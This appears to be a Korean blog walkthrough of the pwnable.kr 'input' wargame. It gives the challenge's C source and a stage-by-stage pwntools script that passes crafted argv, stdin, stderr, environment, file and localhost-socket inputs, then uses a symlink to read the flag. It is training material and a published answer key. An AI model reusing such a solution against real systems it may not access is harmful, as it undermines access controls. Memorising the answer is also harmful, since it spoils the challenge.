(55) pwnable.kr input 문제 풀이
문제 설명
Mom? how can I pass my input to a computer program?
문제 풀이
이번 문제도 같은 구성입니다.
이번 소스코드는 조금 깁니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
코드가 아주 긴데, 1~5단계를 하나씩 통과하도록 만들어졌습니다. 단계 하나씩 자세히 보도록 합시다.
Stage 1
1
2
3
4
5
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
인자를 100개 입력받아야 하고 인자의 A(65)번째 값이 \x00이고 B(66)번째 값이 \x20\x0a\x0d라면 스테이지 1을 통과할 수 있습니다.
1
2
3
4
5
6
7
8
from pwn import *
#1
argv = ['a' for i in range(100)]
argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
p = process(executable='/home/input2/input', argv=argv)
p.interactive()
파이썬의 pwntools를 이용해 코드를 작성했습니다. 더미 값 100개가 들어있는 배열 argv를 만들고 65, 66번째 값을 변경해서 process의 argv인자로 넣어줬습니다. 위 내용을 /tmp/kyuyeop폴더를 만들고 exploit.py라는 이름으로 저장했습니다. 
실행해보니 잘 Stage 1 clear!라고 나오는군요
Stage 2
1
2
3
4
5
6
7
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
두번째는 stdio에 관한 문제입니다. fd가 0이면 stdin, fd가 2이면 stderr이므로 stdin으로 \x00\x0a\x00\xff를 전달하고 stderr로는 \x00\x0a\x02\xff를 보내주면 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#1
argv = ['A' for i in range(100)]
argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
#2
with open('stderr', 'w') as f:
f.write('\x00\x0a\x02\xff')
p = process(executable='/home/input2/input', argv=argv, stderr=open('stderr', 'r'))
p.send('\x00\x0a\x00\xff') #2
p.interactive()
stderr를 넘겨줄때 fd로 넘겨줘야 하기 때문에 stderr라는 파일을 먼저 생성하고 그 파일을 열어서 stderr로 넘겨 줬습니다. 
이렇게 2 스테이지도 통과했습니다.
Stage 3
1
2
3
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
이번에는 환경변수와 관련한 문제네요. \xde\xad\xbe\xef라는 환경변수의 값이 \xca\xfe\xba\xbe여야 합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
#1
argv = ['A' for i in range(100)]
argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
#2
with open('stderr', 'w') as f:
f.write('\x00\x0a\x02\xff')
#3
env = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
p = process(executable='/home/input2/input', argv=argv, stderr=open('stderr', 'r'), env=env)
p.send('\x00\x0a\x00\xff') #2
p.interactive()
env라는 딕셔너리를 만들어서 process에 넣어주었습니다. 
3단계도 끝입니다.
Stage 4
1
2
3
4
5
6
7
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
\x0a파일을 열고 4바이트를 읽어서 \x00\x00\x00\x00이면 됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#1
argv = ['A' for i in range(100)]
argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
#2
with open('stderr', 'w') as f:
f.write('\x00\x0a\x02\xff')
#3
env = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
#4
with open('\x0a', 'w') as f:
f.write('\x00\x00\x00\x00')
p = process(executable='/home/input2/input', argv=argv, stderr=open('stderr', 'r'), env=env)
p.send('\x00\x0a\x00\xff') #2
p.interactive()
\x0a파일을 생성하고 \x00\x00\x00\x00라고 적어주면 됩니다. 
4스테이지는 아주 간단했네요.
Stage 5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
역시 마지막 스테이지라 그런가 코드가 깁니다. 사실 내용 대부분이 에러 핸들링 관련 부분이라 실제로 중요한 건 얼마 안됩니다. C(67)번째 인자를 포트로 소켓을 열고 4바이트를 받아서 \xde\xad\xbe\xef라면 통과입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
#1
argv = ['A' for i in range(100)]
argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
argv[67] = '6767' #5
#2
with open('stderr', 'w') as f:
f.write('\x00\x0a\x02\xff')
#3
env = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
#4
with open('\x0a', 'w') as f:
f.write('\x00\x00\x00\x00')
p = process(executable='/home/input2/input', argv=argv, stderr=open('stderr', 'r'), env=env)
p.send('\x00\x0a\x00\xff') #2
#5
s = remote('localhost', 6767)
s.send('\xde\xad\xbe\xef')
p.interactive()
remote로 소켓에 접속하고 \xde\xad\xbe\xef를 보내도록 했습니다. 
스테이지 5도 클리어 했습니다. 근데, flag가 안나옵니다. 이유는 현재 경로에 flag 파일이 없어서 읽을 수가 없기 때문입니다. 그래서 심볼릭 링크로 /home/input2/flag를 가져와야 합니다.
1
ln -s /home/input2/flag flag
위 명령어로 현재 경로에 심볼릭 링크를 만듭니다. 그리고 다시 실행해보면 
flag가 나왔습니다.
